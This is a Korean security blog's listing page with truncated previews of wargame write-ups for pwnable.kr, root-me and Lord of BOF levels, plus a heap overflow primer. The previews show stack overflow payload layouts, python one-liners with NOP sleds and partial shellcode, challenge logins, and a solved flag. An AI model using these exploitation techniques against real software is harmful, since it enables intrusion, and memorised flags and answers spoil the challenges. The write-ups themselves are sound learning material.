목록정보보안 (24)
ii4gsp
#include #include void get_flag(){ int fd ; int password; int magic ; char key[] = "Do_you_know_why_my_teammate_Orange_is_so_angry???"; char cipher[] = {7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66}; fd = open("/dev/urandom",0); read(fd,&password,4); printf("G..
ssh fd@pwnable.kr -p2222로 서버를 접속해주자. 접속 후 파일을 확인해보면 fd, fd.c, flag파일이 보인다. 권한이 없기때문에 flag파일을 볼 수 없다. 소스코드를 보도록 하자. read() 함수에서 첫번째 인자fd가 0이면 표준 입력, 1이면 표준 출력, 2이면 표준 에러가된다. fd는 argv[1]을 통해 입력을 받고 0x1234만큼 뺀다. 0x1234는 10진수로 4660이다. argv[1]에 4660을 넣어주면 4660 - 4660 = 0 임으로 표준 입력을 할 수 있다. buf는 "LETMEWIN"이여야 하며 fd의 값을 0으로 하게 해서 입력을 받도록 하고, LETMEWIN을 입력하면 된다. Flag: mommy! I think I know what a file de..
#include #include #include #include void shell() { setreuid(geteuid(), geteuid()); system("/bin/bash"); } void sup() { printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n"); } void main() { int var; void (*func)()=sup; char buf[128]; fgets(buf,133,stdin); func(); } fgets()함수에서 취약점이 발생한다. ssh -p 2222 app-systeme-ch15@challenge02.root-me.org password: app-systeme-ch15 ssh서버에 접속해주자. buf 128byte를 채우고 shell()함수..
주석에 PLT라고 되어있다 RET를 strcpy()함수의 PLT주소로 변조해야 하는 문제이다. strcpy()함수의 PLT주소는 0x08048410이다. 값을 넣어주고 코어파일을 분석해보자 0x41414141가 있는 주소 0xbffffa50과 0x45454545가 있는 주소 0xbffffa5c를 사용할것이다. 페이로드는 buffer + sfp + &strcpy() + dummy + &strcpy() arg1 + &strcpy() arg2 + &shellcode [44byte] [4byte] [4byte] [4byte] [4byte] [4byte] #include int main() { printf("%p\n", getenv("shellcode")); return 0; } 쉘 코드 주소를 구하는 소스코드를..
주석에 FEBP라고 적혀있다 Fake EBP일것이다. 파일을 복사 후 gdb로 파일을 열어주자 ret가 실행되기전 leave 부분에 break point를 걸어주고 값을 넣어주자 leave - ret Gadget은 0x080484f0이다. 스택을 확인해보면 buffer의 주소는 0xbffffab0이다. 0xbffffab0 + 4 = 0xbffffab4 0xbffffab0 - 4 = 0xbffffaac 페이로드는 &buffer + 4 + dummy + shellcode + &buffer - 4 + leave - ret Gadget [4byte] [11byte] [25byte] [4byte] [4byte] payload ./zombie_assassin $(python -c 'print "\xb4\xfa\xf..
stack을 사용할 수 없고 RTL도 사용불가능이다. RET sled를 사용하여 문제를 풀어보자 gdb로 파일을 열고 ret부분에 break point를 걸고 RET에 RET를 한번더 넣고 NOP Sled와 쉘 코드를 넣어주자 RET에 RET를 넣어주고 0xbffffc0c를 RET로 잡고 페이로드를 작성해주자 buffer + sfp + &ret + 0xbffffc0c + NOP sled + 쉘 코드 [44byte] [4byte] [4byte] [100byte] [25byte] payload ./assassin $(python -c 'print "\x90" * 44 + "\x1e\x85\x04\x08" + "\x0c\xfc\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2..
problem_child함수가 argv[1]의 값을 받아와 버퍼에 복사하는데 buffer는 40인데 복사하는 값의 크기는 41이다. 1byte가 초과되어 SFP의 제일 마지막 1byte를 덮어 씌운다. 스택에서 SFP의 위 주소에는 RET가 존재한다. 즉, SFP + 4의 메모리는 다음 명령어의 실행 주소이다. gdb로 파일을열어 problem_child() 함수의 ret되기전 부분인 >problem_child+42>부분에 break point를 걸어주자. A로 41byte를 채우고 esp-8부터 40byte를 확인해 보자 0xbffffacc부터 "A"가 들어가고 41byte를 주어 SFP의 1byte를 0xbffffb41로 바꿔주었다. nop [15byte] + shellcode[25byte] + \x..
Heap? 프로그램이 실행되면, 실행에 필요한 정보들이 메모리 영역에 올라간다. 프로그램의 명령어가 올라가는 코드 영역 전역 변수와 정적 변수 등이 할당되는 데이터 영역 지역 변수와 매개 변수가 저장되는 스택 영역 필요에 의해 동적으로 메모리를 할당하는 힙 영역 특징 Heap의 메모리를 동적으로 할당한다. Stack은 할당될 메모리의 크기를 컴파일 과정에서 알 수 있지만 Heap은 컴파일 과정에서는 크기를 알 수 없고, 프로그램 실행시 크기가 결정된다. Stack은 높은 주소에서 낮은 주소로 할당되지만, Heap은 낮은 주소에서 높은 주소로 할당된다. Heap overflow 힙 오버플로우는 스택 오버플로우처럼 직접적으로 RET조작은 불가능하다. 힙 오버플로우는 프로그램의 함수 포인터를 조작한다. 예제 ..